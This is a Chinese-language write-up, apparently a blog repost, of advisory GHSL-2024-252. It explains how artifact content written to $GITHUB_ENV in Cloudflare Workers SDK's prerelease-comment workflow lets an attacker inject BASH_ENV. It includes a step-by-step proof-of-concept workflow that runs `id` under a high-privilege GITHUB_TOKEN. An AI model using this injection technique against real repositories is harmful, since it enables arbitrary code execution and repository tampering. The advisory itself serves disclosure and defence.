GHSL-2024-252: Cloudflare Workers SDK 环境变量注入漏洞解析

什么是环境变量注入漏洞?

环境变量注入漏洞是一种安全漏洞,攻击者可以通过修改环境变量来执行任意代码或泄露敏感信息。 在 Cloudflare Workers SDK 的工作流程文件 write-prerelease-comment.yml 中,存在一个环境变量注入的问题。攻击者可以通过修改上传的文件内容,向 GitHub 环境中注入新的环境变量(例如 BASH_ENV),从而在后续步骤中执行任意代码。


漏洞工作原理

  1. 触发机制

    • 当一个名为"Create Pull Request Prerelease"的工作流程结束时,会触发 write-prerelease-comment.yml 工作流程。

    • 此工作流程通过条件判断:

      ini 复制代码
      if: ${{ github.repository_owner == 'cloudflare' }}

      但在工作流程运行时,这个条件总为真,因为它运行在默认分支的上下文中,起不到保护作用。

  2. 下载并设置环境变量

    • 工作流程会下载触发流程上传的工件文件 runtime-versions.md

    • 然后通过如下代码将文件内容写入环境变量中:

      bash 复制代码
      {
        echo 'RUNTIME_VERSIONS<<EOF'
        cat runtime-versions.md
        echo EOF
      } >> "$GITHUB_ENV"
    • 如果工件文件中包含恶意内容(比如带有换行符的新环境变量定义),就可能注入恶意变量,例如 BASH_ENV。这样,当后续步骤运行 shell 命令时,恶意代码就会被执行。


复现步骤及示例代码

以下步骤和示例代码展示如何复现该漏洞(请在实验环境中操作,不建议在生产环境中测试):

  1. Fork 和克隆仓库

    bash 复制代码
    # Fork cloudflare/workers-sdk 后,克隆你的 Fork
    gh repo clone your-username/workers-sdk
    cd workers-sdk
  2. 新建分支

    css 复制代码
    git checkout -b poc
  3. 修改工作流程文件

    修改 .github/workflows/create-pullrequest-prerelease.yml 文件,内容示例如下:

    yaml 复制代码
    name: Create Pull Request Prerelease
    
    on:
      pull_request:
    
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - name: 生成 runtime-versions.md 文件
            run: |
              cat << 'EOF2' > runtime-versions.md
              FOO
              EOF2
              # 注入环境变量示例:将 BASH_ENV 设置为执行 id 命令的输出
              echo "BASH_ENV<<EOF3" >> runtime-versions.md
              echo "$(id 1>&2)" >> runtime-versions.md
              echo "EOF3" >> runtime-versions.md
          - name: 显示 runtime-versions.md 文件内容
            run: cat runtime-versions.md
          - name: 上传工件文件
            uses: actions/upload-artifact@v3
            with:
              name: runtime-versions.md
              path: runtime-versions.md
  4. 提交更改并创建 Pull Request

    sql 复制代码
    git add .
    git commit -m "添加恶意 Payload 演示"
    git push origin poc

    然后在 GitHub 上从 poc 分支创建一个 Pull Request。

  5. 观察执行结果

    • 等待 "Create Pull Request Prerelease" 流程执行完毕后,检查后续的 "Write prerelease comment" 流程。

    • 在 "Put runtime versions on the environment" 这一步骤中,如果文件中注入的 BASH_ENV 成功,输出中将显示类似如下的内容:

      scss 复制代码
      uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

安全影响

由于该工作流程使用的 GITHUB_TOKEN 权限非常高,包括写入仓库内容等权限。详细权限如下:

  • Actions: write
  • Attestations: write
  • Checks: write
  • Contents: write
  • Deployments: write
  • Discussions: write
  • Issues: write
  • Metadata: read
  • Packages: write
  • Pages: write
  • PullRequests: write
  • RepositoryProjects: write
  • SecurityEvents: write
  • Statuses: write

如果攻击者成功注入恶意代码,就可能利用这些高权限进行进一步的攻击,如修改代码、创建恶意分支等。


总结

  • 问题核心 :环境变量注入漏洞允许攻击者通过上传恶意构造的文件,利用工作流程中不严格的验证将恶意环境变量写入 $GITHUB_ENV 中,从而执行任意代码。
  • 复现关键:通过修改触发工作流程上传的工件文件内容,注入带有换行符的恶意变量定义(如 BASH_ENV)。
  • 安全风险:攻击者可以利用高权限的 GITHUB_TOKEN 执行恶意操作,影响仓库安全。

通过以上解释和示例代码,希望能帮助大家更好地理解该漏洞的原理和风险,并引起对自动化工作流程中环境变量处理的重视。

相关推荐
咖啡教室6 分钟前
nodejs开发后端服务详细学习笔记
后端·node.js
uhakadotcom34 分钟前
Vite 与传统 Bundler(如 Webpack)在 Node.js 应用的性能对比
前端·javascript·面试
uhakadotcom1 小时前
Socket.IO 简明教程:实时通信的基础知识
前端·javascript·面试
weixin_435208161 小时前
通过 Markdown 改进 RAG 文档处理
人工智能·python·算法·自然语言处理·面试·nlp·aigc
uhakadotcom1 小时前
SwiftUI 入门指南:快速构建跨平台应用
面试·架构·github
uhakadotcom1 小时前
OpenTelemetry入门:让你的应用程序更透明
后端·面试·github
橘猫云计算机设计1 小时前
基于springboot的考研成绩查询系统(源码+lw+部署文档+讲解),源码可白嫖!
java·spring boot·后端·python·考研·django·毕业设计
有一只柴犬2 小时前
深入Spring AI:6大核心概念带你入门AI开发
spring boot·后端
Aurora_NeAr2 小时前
深入理解Java虚拟机-垃圾收集器与内存分配策略
后端
向阳2562 小时前
SpringBoot+vue前后端分离整合sa-token(无cookie登录态 & 详细的登录流程)
java·vue.js·spring boot·后端·sa-token·springboot·登录流程